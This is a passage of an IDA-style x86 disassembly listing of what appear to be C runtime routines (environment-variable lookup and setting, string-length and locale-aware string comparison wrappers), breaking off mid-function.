U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43C0A0 proc near ; CODE XREF: sub_43AA10+19Cp var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43FFE0 push offset sub_425A74 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE8h push ebx push esi push edi mov [ebp+var_18], esp cmp dword_4E956C, 0 jnz short loc_43C112 push 0 push 0 push 1 push 0 nop call near ptr 2711026h test eax, eax jz short loc_43C0ED mov dword_4E956C, 1 jmp short loc_43C112 ; --------------------------------------------------------------------------- loc_43C0ED: ; CODE XREF: sub_43C0A0+3Fj push 0 push 0 push 1 push 0 call near ptr 27F0000h nop test eax, eax jz short loc_43C10B mov dword_4E956C, 2 jmp short loc_43C112 ; --------------------------------------------------------------------------- loc_43C10B: ; CODE XREF: sub_43C0A0+5Dj xor eax, eax jmp loc_43C221 ; --------------------------------------------------------------------------- loc_43C112: ; CODE XREF: sub_43C0A0+2Dj ; sub_43C0A0+4Bj ... cmp dword_4E956C, 1 jnz short loc_43C136 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax nop call near ptr 2711026h jmp loc_43C221 ; --------------------------------------------------------------------------- loc_43C136: ; CODE XREF: sub_43C0A0+79j cmp dword_4E956C, 2 jnz loc_43C21F cmp [ebp+arg_10], 0 jnz short loc_43C152 mov ecx, dword_4E92F4 mov [ebp+arg_10], ecx loc_43C152: ; CODE XREF: sub_43C0A0+A7j push 0 push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call near ptr 27F0000h nop mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_43C174 xor eax, eax jmp loc_43C221 ; --------------------------------------------------------------------------- loc_43C174: ; CODE XREF: sub_43C0A0+CBj mov [ebp+var_4], 0 mov eax, [ebp+var_1C] add eax, 3 and al, 0FCh call sub_421EE0 mov [ebp+var_28], esp mov [ebp+var_18], esp mov ecx, [ebp+var_28] mov [ebp+var_20], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_43C1B4 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_20], 0 mov [ebp+var_4], 0FFFFFFFFh loc_43C1B4: ; CODE XREF: sub_43C0A0+FBj cmp [ebp+var_20], 0 jnz short loc_43C1BE xor eax, eax jmp short loc_43C221 ; --------------------------------------------------------------------------- loc_43C1BE: ; CODE XREF: sub_43C0A0+118j mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_20] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx nop call near ptr 27F0000h test eax, eax jnz short loc_43C1DC xor eax, eax jmp short loc_43C221 ; --------------------------------------------------------------------------- loc_43C1DC: ; CODE XREF: sub_43C0A0+136j cmp [ebp+arg_C], 0 jnz short loc_43C1FD push 0 push 0 push 0FFFFFFFFh mov eax, [ebp+var_20] push eax push 1 mov ecx, [ebp+arg_10] push ecx nop call near ptr 28F0000h mov [ebp+var_24], eax jmp short loc_43C21A ; --------------------------------------------------------------------------- loc_43C1FD: ; CODE XREF: sub_43C0A0+140j mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 0FFFFFFFFh mov ecx, [ebp+var_20] push ecx push 1 mov edx, [ebp+arg_10] push edx nop call near ptr 28F0000h mov [ebp+var_24], eax loc_43C21A: ; CODE XREF: sub_43C0A0+15Bj mov eax, [ebp+var_24] jmp short loc_43C221 ; --------------------------------------------------------------------------- loc_43C21F: ; CODE XREF: sub_43C0A0+9Dj xor eax, eax loc_43C221: ; CODE XREF: sub_43C0A0+6Dj ; sub_43C0A0+91j ... lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_43C0A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43C240 proc near ; CODE XREF: sub_43AA10+4Bp ; sub_43AA10+7Ep ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43FFF0 push offset sub_425A74 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE8h push ebx push esi push edi mov [ebp+var_18], esp cmp dword_4E9570, 0 jnz short loc_43C2B2 push 0 push 0 push 1 push 0 nop call near ptr 2711026h test eax, eax jz short loc_43C28D mov dword_4E9570, 1 jmp short loc_43C2B2 ; --------------------------------------------------------------------------- loc_43C28D: ; CODE XREF: sub_43C240+3Fj push 0 push 0 push 1 push 0 nop call near ptr 27F0000h test eax, eax jz short loc_43C2AB mov dword_4E9570, 2 jmp short loc_43C2B2 ; --------------------------------------------------------------------------- loc_43C2AB: ; CODE XREF: sub_43C240+5Dj xor eax, eax jmp loc_43C3D1 ; --------------------------------------------------------------------------- loc_43C2B2: ; CODE XREF: sub_43C240+2Dj ; sub_43C240+4Bj ... cmp dword_4E9570, 2 jnz short loc_43C2D6 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax nop call near ptr 27F0000h jmp loc_43C3D1 ; --------------------------------------------------------------------------- loc_43C2D6: ; CODE XREF: sub_43C240+79j cmp dword_4E9570, 1 jnz loc_43C3CF cmp [ebp+arg_10], 0 jnz short loc_43C2F2 mov ecx, dword_4E92F4 mov [ebp+arg_10], ecx loc_43C2F2: ; CODE XREF: sub_43C240+A7j push 0 push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax nop call near ptr 2711026h mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_43C314 xor eax, eax jmp loc_43C3D1 ; --------------------------------------------------------------------------- loc_43C314: ; CODE XREF: sub_43C240+CBj mov [ebp+var_4], 0 mov eax, [ebp+var_1C] shl eax, 1 add eax, 3 and al, 0FCh call sub_421EE0 mov [ebp+var_28], esp mov [ebp+var_18], esp mov ecx, [ebp+var_28] mov [ebp+var_20], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_43C356 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_20], 0 mov [ebp+var_4], 0FFFFFFFFh loc_43C356: ; CODE XREF: sub_43C240+FDj cmp [ebp+var_20], 0 jnz short loc_43C360 xor eax, eax jmp short loc_43C3D1 ; --------------------------------------------------------------------------- loc_43C360: ; CODE XREF: sub_43C240+11Aj mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_20] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx nop call near ptr 2711026h test eax, eax jnz short loc_43C37E xor eax, eax jmp short loc_43C3D1 ; --------------------------------------------------------------------------- loc_43C37E: ; CODE XREF: sub_43C240+138j cmp [ebp+arg_C], 0 jnz short loc_43C3A6 push 0 push 0 push 0 push 0 push 0FFFFFFFFh mov eax, [ebp+var_20] push eax push 220h mov ecx, [ebp+arg_10] push ecx call near ptr 28E1569h nop mov [ebp+var_24], eax jmp short loc_43C3CA ; --------------------------------------------------------------------------- loc_43C3A6: ; CODE XREF: sub_43C240+142j push 0 push 0 mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 0FFFFFFFFh mov ecx, [ebp+var_20] push ecx push 220h mov edx, [ebp+arg_10] push edx nop call near ptr 28E1569h mov [ebp+var_24], eax loc_43C3CA: ; CODE XREF: sub_43C240+164j mov eax, [ebp+var_24] jmp short loc_43C3D1 ; --------------------------------------------------------------------------- loc_43C3CF: ; CODE XREF: sub_43C240+9Dj xor eax, eax loc_43C3D1: ; CODE XREF: sub_43C240+6Dj ; sub_43C240+91j ... lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_43C240 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push 0Ch call sub_425990 add esp, 4 mov eax, [ebp+8] push eax call sub_43C420 add esp, 4 mov [ebp-4], eax push 0Ch call sub_425A30 add esp, 4 mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43C420 proc near ; CODE XREF: sub_43B7C0+3Ap ; .XComp0:0043C402p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, dword_4E9214 mov [ebp+var_8], eax cmp dword_4EA908, 0 jnz short loc_43C43E xor eax, eax jmp loc_43C4E2 ; --------------------------------------------------------------------------- loc_43C43E: ; CODE XREF: sub_43C420+15j cmp [ebp+var_8], 0 jnz short loc_43C466 cmp dword_4E921C, 0 jz short loc_43C466 call sub_43C540 test eax, eax jz short loc_43C45D xor eax, eax jmp loc_43C4E2 ; --------------------------------------------------------------------------- loc_43C45D: ; CODE XREF: sub_43C420+34j mov ecx, dword_4E9214 mov [ebp+var_8], ecx loc_43C466: ; CODE XREF: sub_43C420+22j ; sub_43C420+2Bj cmp [ebp+var_8], 0 jz short loc_43C4E0 cmp [ebp+arg_0], 0 jz short loc_43C4E0 mov edx, [ebp+arg_0] push edx call sub_41EBD0 add esp, 4 mov [ebp+var_4], eax loc_43C481: ; CODE XREF: sub_43C420+BEj mov eax, [ebp+var_8] cmp dword ptr [eax], 0 jz short loc_43C4E0 mov ecx, [ebp+var_8] mov edx, [ecx] push edx call sub_41EBD0 add esp, 4 cmp eax, [ebp+var_4] jbe short loc_43C4D5 mov eax, [ebp+var_8] mov ecx, [eax] mov edx, [ebp+var_4] movsx eax, byte ptr [ecx+edx] cmp eax, 3Dh jnz short loc_43C4D5 mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_8] mov ecx, [eax] push ecx call sub_43C4F0 add esp, 0Ch test eax, eax jnz short loc_43C4D5 mov edx, [ebp+var_8] mov eax, [edx] mov ecx, [ebp+var_4] lea eax, [eax+ecx+1] jmp short loc_43C4E2 ; --------------------------------------------------------------------------- loc_43C4D5: ; CODE XREF: sub_43C420+7Aj ; sub_43C420+8Bj ... mov edx, [ebp+var_8] add edx, 4 mov [ebp+var_8], edx jmp short loc_43C481 ; --------------------------------------------------------------------------- loc_43C4E0: ; CODE XREF: sub_43C420+4Aj ; sub_43C420+50j ... xor eax, eax loc_43C4E2: ; CODE XREF: sub_43C420+19j ; sub_43C420+38j ... mov esp, ebp pop ebp retn sub_43C420 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43C4F0 proc near ; CODE XREF: sub_43C420+9Bp ; sub_43CD20+2Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_8], 0 jnz short loc_43C4FE xor eax, eax jmp short loc_43C53B ; --------------------------------------------------------------------------- loc_43C4FE: ; CODE XREF: sub_43C4F0+8j mov eax, dword_4E96AC push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] push ecx push 1 mov edx, dword_4E98C4 push edx call sub_43C5F0 add esp, 1Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_43C535 mov eax, 7FFFFFFFh jmp short loc_43C53B ; --------------------------------------------------------------------------- loc_43C535: ; CODE XREF: sub_43C4F0+3Cj mov eax, [ebp+var_4] sub eax, 2 loc_43C53B: ; CODE XREF: sub_43C4F0+Cj ; sub_43C4F0+43j mov esp, ebp pop ebp retn sub_43C4F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43C540 proc near ; CODE XREF: sub_43C420+2Dp ; sub_43CA40+81p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov eax, dword_4E921C mov [ebp+var_4], eax loc_43C54E: ; CODE XREF: sub_43C540+A3j mov ecx, [ebp+var_4] cmp dword ptr [ecx], 0 jz loc_43C5E8 push 0 push 0 push 0 push 0 push 0FFFFFFFFh mov edx, [ebp+var_4] mov eax, [edx] push eax push 0 push 1 call near ptr 28E1569h nop mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_43C582 or eax, 0FFFFFFFFh jmp short loc_43C5EA ; --------------------------------------------------------------------------- loc_43C582: ; CODE XREF: sub_43C540+3Bj push 3Dh push offset dword_43FFFC push 2 mov ecx, [ebp+var_C] push ecx call sub_41EDD0 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_43C5A5 or eax, 0FFFFFFFFh jmp short loc_43C5EA ; --------------------------------------------------------------------------- loc_43C5A5: ; CODE XREF: sub_43C540+5Ej push 0 push 0 mov edx, [ebp+var_C] push edx mov eax, [ebp+var_8] push eax push 0FFFFFFFFh mov ecx, [ebp+var_4] mov edx, [ecx] push edx push 0 push 1 nop call near ptr 28E1569h test eax, eax jnz short loc_43C5CC or eax, 0FFFFFFFFh jmp short loc_43C5EA ; --------------------------------------------------------------------------- loc_43C5CC: ; CODE XREF: sub_43C540+85j push 0 mov eax, [ebp+var_8] push eax call sub_43CA40 add esp, 8 mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx jmp loc_43C54E ; --------------------------------------------------------------------------- loc_43C5E8: ; CODE XREF: sub_43C540+14j xor eax, eax loc_43C5EA: ; CODE XREF: sub_43C540+40j ; sub_43C540+63j ... mov esp, ebp pop ebp retn sub_43C540 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43C5F0 proc near ; CODE XREF: sub_43C4F0+2Dp var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_440050 push offset sub_425A74 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFC8h push ebx push esi push edi mov [ebp+var_18], esp cmp dword_4E9574, 0 jnz short loc_43C676 push 1 push offset dword_43F390 push 1 push offset dword_43F390 push 0 push 0 call near ptr 2700000h nop test eax, eax jz short loc_43C647 mov dword_4E9574, 1 jmp short loc_43C676 ; --------------------------------------------------------------------------- loc_43C647: ; CODE XREF: sub_43C5F0+49j push 1 push offset dword_43F38C push 1 push offset dword_43F38C push 0 push 0 nop call near ptr 2710000h test eax, eax jz short loc_43C66F mov dword_4E9574, 2 jmp short loc_43C676 ; --------------------------------------------------------------------------- loc_43C66F: ; CODE XREF: sub_43C5F0+71j xor eax, eax jmp loc_43C9D4 ; --------------------------------------------------------------------------- loc_43C676: ; CODE XREF: sub_43C5F0+2Dj ; sub_43C5F0+55j ... cmp [ebp+arg_C], 0 jle short loc_43C68F mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx call sub_43C9F0 add esp, 8 mov [ebp+arg_C], eax loc_43C68F: ; CODE XREF: sub_43C5F0+8Aj cmp [ebp+arg_14], 0 jle short loc_43C6A8 mov edx, [ebp+arg_14] push edx mov eax, [ebp+arg_10] push eax call sub_43C9F0 add esp, 8 mov [ebp+arg_14], eax loc_43C6A8: ; CODE XREF: sub_43C5F0+A3j cmp dword_4E9574, 2 jnz short loc_43C6D4 mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax nop call near ptr 2710000h jmp loc_43C9D4 ; --------------------------------------------------------------------------- loc_43C6D4: ; CODE XREF: sub_43C5F0+BFj cmp dword_4E9574, 1 jnz loc_43C9D2 cmp [ebp+arg_18], 0 jnz short loc_43C6F0 mov ecx, dword_4E92F4 mov [ebp+arg_18], ecx loc_43C6F0: ; CODE XREF: sub_43C5F0+F5j cmp [ebp+arg_C], 0 jz short loc_43C700 cmp [ebp+arg_14], 0 jnz loc_43C87C loc_43C700: ; CODE XREF: sub_43C5F0+104j mov edx, [ebp+arg_C] cmp edx, [ebp+arg_14] jnz short loc_43C712 mov eax, 2 jmp loc_43C9D4 ; --------------------------------------------------------------------------- loc_43C712: ; CODE XREF: sub_43C5F0+116j cmp [ebp+arg_14], 1 jle short loc_43C722 mov eax, 1 jmp loc_43C9D4 ; --------------------------------------------------------------------------- loc_43C722: ; CODE XREF: sub_43C5F0+126j cmp [ebp+arg_C], 1 jle short loc_43C732 mov eax, 3 jmp loc_43C9D4 ; --------------------------------------------------------------------------- loc_43C732: ; CODE XREF: sub_43C5F0+136j lea eax, [ebp+var_3C] push eax mov ecx, [ebp+arg_18] push ecx call near ptr 29A0246h nop test eax, eax jnz short loc_43C74B xor eax, eax jmp loc_43C9D4 ; --------------------------------------------------------------------------- loc_43C74B: ; CODE XREF: sub_43C5F0+152j ; sub_43C5F0+198j cmp [ebp+arg_C], 0 jnz short loc_43C757 cmp [ebp+arg_14], 1 jz short loc_43C784 loc_43C757: ; CODE XREF: sub_43C5F0+15Fj cmp [ebp+arg_C], 1 jnz short loc_43C763 cmp [ebp+arg_14], 0 jz short loc_43C784 loc_43C763: ; CODE XREF: sub_43C5F0+16Bj push offset aCchcount10Cchc ; "cchCount1==0 && cchCount2==1 || cchCoun"... push 0 push 0B6h push offset dword_440008 push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_43C784 int 3 ; Trap to Debugger loc_43C784: ; CODE XREF: sub_43C5F0+165j ; sub_43C5F0+171j ... xor edx, edx test edx, edx jnz short loc_43C74B cmp [ebp+arg_C], 0 jle short loc_43C803 cmp [ebp+var_3C], 2 jnb short loc_43C7A0 mov eax, 3 jmp loc_43C9D4 ; --------------------------------------------------------------------------- loc_43C7A0: ; CODE XREF: sub_43C5F0+1A4j lea eax, [ebp+var_36] mov [ebp+var_40], eax jmp short loc_43C7B1 ; --------------------------------------------------------------------------- loc_43C7A8: ; CODE XREF: sub_43C5F0:loc_43C7F7j mov ecx, [ebp+var_40] add ecx, 2 mov [ebp+var_40], ecx loc_43C7B1: ; CODE XREF: sub_43C5F0+1B6j mov edx, [ebp+var_40] xor eax, eax mov al, [edx] test eax, eax jz short loc_43C7F9 mov ecx, [ebp+var_40] xor edx, edx mov dl, [ecx+1] test edx, edx jz short loc_43C7F9 mov eax, [ebp+arg_8] xor ecx, ecx mov cl, [eax] mov edx, [ebp+var_40] xor eax, eax mov al, [edx] cmp ecx, eax jl short loc_43C7F7 mov ecx, [ebp+arg_8] xor edx, edx mov dl, [ecx] mov eax, [ebp+var_40] xor ecx, ecx mov cl, [eax+1] cmp edx, ecx jg short loc_43C7F7 mov eax, 2 jmp loc_43C9D4 ; --------------------------------------------------------------------------- loc_43C7F7: ; CODE XREF: sub_43C5F0+1E8j ; sub_43C5F0+1FBj jmp short loc_43C7A8 ; --------------------------------------------------------------------------- loc_43C7F9: ; CODE XREF: sub_43C5F0+1CAj ; sub_43C5F0+1D6j mov eax, 3 jmp loc_43C9D4 ; --------------------------------------------------------------------------- loc_43C803: ; CODE XREF: sub_43C5F0+19Ej cmp [ebp+arg_14], 0 jle short loc_43C87C cmp [ebp+var_3C], 2 jnb short loc_43C819 mov eax, 1 jmp loc_43C9D4 ; --------------------------------------------------------------------------- loc_43C819: ; CODE XREF: sub_43C5F0+21Dj lea edx, [ebp+var_36] mov [ebp+var_40], edx jmp short loc_43C82A ; --------------------------------------------------------------------------- loc_43C821: ; CODE XREF: sub_43C5F0:loc_43C870j mov eax, [ebp+var_40] add eax, 2 mov [ebp+var_40], eax loc_43C82A: ; CODE XREF: sub_43C5F0+22Fj mov ecx, [ebp+var_40] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_43C872 mov eax, [ebp+var_40] xor ecx, ecx mov cl, [eax+1] test ecx, ecx jz short loc_43C872 mov edx, [ebp+arg_10] xor eax, eax mov al, [edx] mov ecx, [ebp+var_40] xor edx, edx mov dl, [ecx] cmp eax, edx jl short loc_43C870 mov eax, [ebp+arg_10] xor ecx, ecx mov cl, [eax] mov edx, [ebp+var_40] xor eax, eax mov al, [edx+1] cmp ecx, eax jg short loc_43C870 mov eax, 2 jmp loc_43C9D4 ; --------------------------------------------------------------------------- loc_43C870: ; CODE XREF: sub_43C5F0+261j ; sub_43C5F0+274j jmp short loc_43C821 ; --------------------------------------------------------------------------- loc_43C872: ; CODE XREF: sub_43C5F0+243j ; sub_43C5F0+24Fj mov eax, 1 jmp loc_43C9D4 ; --------------------------------------------------------------------------- loc_43C87C: ; CODE XREF: sub_43C5F0+10Aj ; sub_43C5F0+217j push 0 push 0 mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 9 mov eax, [ebp+arg_18] push eax call near ptr 28F0000h nop mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_43C8A4 xor eax, eax jmp loc_43C9D4 ; --------------------------------------------------------------------------- loc_43C8A4: ; CODE XREF: sub_43C5F0+2ABj mov [ebp+var_4], 0 mov eax, [ebp+var_1C] shl eax, 1 add eax, 3 and al, 0FCh call sub_421EE0 mov [ebp+var_44], esp mov [ebp+var_18], esp mov ecx, [ebp+var_44] mov [ebp+var_24], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_43C8E6 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 0 mov [ebp+var_4], 0FFFFFFFFh loc_43C8E6: ; CODE XREF: sub_43C5F0+2DDj cmp [ebp+var_24], 0 jnz short loc_43C8F3 xor eax, eax jmp loc_43C9D4 ; --------------------------------------------------------------------------- loc_43C8F3: ; CODE XREF: sub_43C5F0+2FAj mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 1 mov eax, [ebp+arg_18] push eax nop call near ptr 28F0000h test eax, eax jnz short loc_43C91A xor eax, eax jmp loc_43C9D4 ; --------------------------------------------------------------------------- loc_43C91A: ; CODE XREF: sub_43C5F0+321j push 0 push 0 mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx push 9 mov eax, [ebp+arg_18] push eax nop call near ptr 28F0000h mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz short loc_43C942 xor eax, eax jmp loc_43C9D4 ; --------------------------------------------------------------------------- loc_43C942: ; CODE XREF: sub_43C5F0+349j mov [ebp+var_4], 1 mov eax, [ebp+var_20] shl eax, 1 add eax, 3 and al, 0FCh call sub_421EE0 mov [ebp+var_48], esp mov [ebp+var_18], esp mov ecx, [ebp+var_48] mov [ebp+var_28], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_43C984 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_28], 0 mov [ebp+var_4], 0FFFFFFFFh loc_43C984: ; CODE XREF: sub_43C5F0+37Bj cmp [ebp+var_28], 0 jnz short loc_43C98E xor eax, eax jmp short loc_43C9D4 ; --------------------------------------------------------------------------- loc_43C98E: ; CODE XREF: sub_43C5F0+398j mov edx, [ebp+var_20] push edx mov eax, [ebp+var_28] push eax mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx push 1 mov eax, [ebp+arg_18] push eax nop call near ptr 28F0000h test eax, eax jnz short loc_43C9B2 xor eax, eax jmp short loc_43C9D4 ; --------------------------------------------------------------------------- loc_43C9B2: ; CODE XREF: sub_43C5F0+3BCj mov ecx, [ebp+var_20] push ecx mov edx, [ebp+var_28] push edx mov eax, [ebp+var_1C] push eax mov ecx, [ebp+var_24] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call near ptr 2700000h nop jmp short loc_43C9D4 ; --------------------------------------------------------------------------- loc_43C9D2: ; CODE XREF: sub_43C5F0+EBj xor eax, eax loc_43C9D4: ; CODE XREF: sub_43C5F0+81j ; sub_43C5F0+DFj ... lea esp, [ebp-54h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_43C5F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43C9F0 proc near ; CODE XREF: sub_43C5F0+94p ; sub_43C5F0+ADp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx loc_43CA02: ; CODE XREF: sub_43C9F0+35j mov edx, [ebp+var_8] mov eax, [ebp+var_8] sub eax, 1 mov [ebp+var_8], eax test edx, edx jz short loc_43CA27 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_43CA27 mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_43CA02 ; --------------------------------------------------------------------------- loc_43CA27: ; CODE XREF: sub_43C9F0+20j ; sub_43C9F0+2Aj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_43CA39 mov eax, [ebp+var_4] sub eax, [ebp+arg_0] jmp short loc_43CA3C ; --------------------------------------------------------------------------- loc_43CA39: ; CODE XREF: sub_43C9F0+3Fj mov eax, [ebp+arg_4] loc_43CA3C: ; CODE XREF: sub_43C9F0+47j mov esp, ebp pop ebp retn sub_43C9F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43CA40 proc near ; CODE XREF: sub_43C540+92p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h push esi cmp [ebp+arg_0], 0 jz short loc_43CA6C push 3Dh mov eax, [ebp+arg_0] push eax call sub_43CE90 add esp, 8 mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_43CA6C mov ecx, [ebp+arg_0] cmp ecx, [ebp+var_18] jnz short loc_43CA74 loc_43CA6C: ; CODE XREF: sub_43CA40+Bj ; sub_43CA40+22j or eax, 0FFFFFFFFh jmp loc_43CD1B ; --------------------------------------------------------------------------- loc_43CA74: ; CODE XREF: sub_43CA40+2Aj mov edx, [ebp+var_18] movsx eax, byte ptr [edx+1] neg eax sbb eax, eax inc eax mov [ebp+var_14], eax mov ecx, dword_4E9214 cmp ecx, dword_4E9218 jnz short loc_43CAA5 mov edx, dword_4E9214 push edx call sub_43CDA0 add esp, 4 mov dword_4E9214, eax loc_43CAA5: ; CODE XREF: sub_43CA40+4Fj cmp dword_4E9214, 0 jnz loc_43CB65 cmp [ebp+arg_4], 0 jz short loc_43CAD7 cmp dword_4E921C, 0 jz short loc_43CAD7 call sub_43C540 test eax, eax jz short loc_43CAD2 or eax, 0FFFFFFFFh jmp loc_43CD1B ; --------------------------------------------------------------------------- loc_43CAD2: ; CODE XREF: sub_43CA40+88j jmp loc_43CB65 ; --------------------------------------------------------------------------- loc_43CAD7: ; CODE XREF: sub_43CA40+76j ; sub_43CA40+7Fj cmp [ebp+var_14], 0 jz short loc_43CAE4 xor eax, eax jmp loc_43CD1B ; --------------------------------------------------------------------------- loc_43CAE4: ; CODE XREF: sub_43CA40+9Bj cmp dword_4E9214, 0 jnz short loc_43CB24 push 87h push offset dword_440068 push 2 push 4 call sub_41EDD0 add esp, 10h mov dword_4E9214, eax cmp dword_4E9214, 0 jnz short loc_43CB19 or eax, 0FFFFFFFFh jmp loc_43CD1B ; --------------------------------------------------------------------------- loc_43CB19: ; CODE XREF: sub_43CA40+CFj mov eax, dword_4E9214 mov dword ptr [eax], 0 loc_43CB24: ; CODE XREF: sub_43CA40+ABj cmp dword_4E921C, 0 jnz short loc_43CB65 push 8Eh push offset dword_440068 push 2 push 4 call sub_41EDD0 add esp, 10h mov dword_4E921C, eax cmp dword_4E921C, 0 jnz short loc_43CB59 or eax, 0FFFFFFFFh jmp loc_43CD1B ; --------------------------------------------------------------------------- loc_43CB59: ; CODE XREF: sub_43CA40+10Fj mov ecx, dword_4E921C mov dword ptr [ecx], 0 loc_43CB65: ; CODE XREF: sub_43CA40+6Cj ; sub_43CA40:loc_43CAD2j ... mov edx, dword_4E9214 mov [ebp+var_C], edx mov eax, [ebp+var_18] 